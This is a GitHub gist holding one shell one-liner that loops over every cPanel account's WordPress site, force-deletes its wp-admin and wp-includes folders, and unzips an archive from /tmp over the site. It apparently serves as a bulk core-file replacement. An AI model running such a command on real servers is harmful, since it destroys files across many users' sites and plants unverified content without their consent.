Skip to content

Instantly share code, notes, and snippets.

@numanturle
Last active April 24, 2020 12:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save numanturle/a04a51c7775d3a18180f6781e6063162 to your computer and use it in GitHub Desktop.
Save numanturle/a04a51c7775d3a18180f6781e6063162 to your computer and use it in GitHub Desktop.
for i in $(ls /var/cpanel/users); do if [ -f /home/$i/public_html/wp-load.php ]; then cd /home/$i/public_html/;rm -rf wp-admin;rm -rf wp-includes; cp /tmp/a.zip a.zip;unzip -o a.zip;rm -rf a.zip;chown -R $i:$i *;fi; done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment